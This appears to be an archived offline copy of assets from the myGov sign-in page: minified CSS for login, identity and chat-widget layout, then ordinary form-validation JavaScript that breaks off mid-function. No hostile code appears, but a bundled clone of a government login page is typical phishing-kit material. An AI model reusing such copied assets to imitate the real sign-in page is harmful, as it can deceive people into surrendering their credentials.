screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/login_files/mgv2-application.js.download000064400000224023151676702570016322 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var 